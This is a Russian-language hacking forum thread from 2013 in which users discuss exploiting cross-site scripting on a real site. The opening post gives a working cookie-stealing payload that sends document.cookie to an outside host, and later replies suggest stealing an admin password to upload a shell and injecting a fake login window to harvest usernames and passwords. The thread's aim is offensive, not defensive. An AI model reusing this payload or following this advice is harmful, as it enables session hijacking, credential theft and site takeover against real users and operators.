 |
01.10.2013, 22:39
|
|
Новичок
Регистрация: 22.01.2013
Сообщений: 23
С нами:
7002326
Репутация:
0
|
|
Есть пассивная XSS, работает только с этим кодом:
Код:
img = new Image(); img.src = "http://httpz.ru/n4zjm6erzao.gif?"+document.cookie;
За кражу cookie отвечает +document.cookie;
А что можно еще сделать с XSS?
Можно ли загнать на сервер какого нибудь червя? |
|
|
01.10.2013, 23:13
|
|
Участник форума
Регистрация: 23.06.2013
Сообщений: 103
С нами:
6783446
Репутация:
45
|
|
Сообщение от panfilov1991
Можно ли загнать на сервер какого нибудь червя?
Нельзя. Такое в редких случаях можно проделать только с активами и то код будет работать только на тех страницах, где он будет вшит.
|
|
|
|
01.10.2013, 23:22
|
|
Новичок
Регистрация: 22.01.2013
Сообщений: 23
С нами:
7002326
Репутация:
0
|
|
Сообщение от Inoms
Нельзя. Такое в редких случаях можно проделать только с активами и то код будет работать только на тех страницах, где он будет вшит.
Есть на примере активная XSS.
Где взять код который можно попробовать вшить?
|
|
|
|
01.10.2013, 23:36
|
|
Участник форума
Регистрация: 23.06.2013
Сообщений: 103
С нами:
6783446
Репутация:
45
|
|
Сообщение от panfilov1991
Есть на примере активная XSS.
Где взять код который можно попробовать вшить?
Подразумевается html\js сценарий, можно любой кинуть, или проинклудить js.
|
|
|
|
01.10.2013, 23:51
|
|
Новичок
Регистрация: 22.01.2013
Сообщений: 23
С нами:
7002326
Репутация:
0
|
|
Сообщение от Inoms
Подразумевается html\js сценарий, можно любой кинуть, или проинклудить js.
То что код можно вшить любой я понял, как это сделать я не понимаю!
подскажите пожалуйста!
|
|
|
|
02.10.2013, 00:14
|
|
Участник форума
Регистрация: 23.06.2013
Сообщений: 103
С нами:
6783446
Репутация:
45
|
|
Сообщение от panfilov1991
То что код можно вшить любой я понял, как это сделать я не понимаю!
подскажите пожалуйста!
Так-же, как вы выполняете код сниффера, только вместо него, требуемый код. А проинклудить js можно так: "", через него можно выполнять и html (document.write и т.д). То, что вы "вошьёте" через пассиву, будет существовать только конкретно для вас, т.е не запишется на страницу статически, а только после отправки запроса на уязвимый параметр.
|
|
|
|
02.10.2013, 00:16
|
|
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами:
11322426
Репутация:
0
|
|
Сообщение от panfilov1991
как это сделать я не понимаю!
Выучить JS самому или заказать у кого-нибудь написание кода за деньги.
upd:
Пример того, что можно делать с пассивкой - /thread275417.html
|
|
|
|
10.10.2013, 17:18
|
|
Новичок
Регистрация: 10.05.2013
Сообщений: 11
С нами:
6846806
Репутация:
0
|
|
Что мешает с помощью XSS украсть пароль админа и там уже дальше залить шелл или что тебе там нужно?
|
|
|
|
10.10.2013, 18:28
|
|
Новичок
Регистрация: 31.07.2009
Сообщений: 1
С нами:
8832539
Репутация:
0
|
|
сделай js файл который подменит окно авторизации,
черз свою xss подгрузи этот файл, и логины:пароли у тебя в кармане, если повезет может и админа подловишь
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
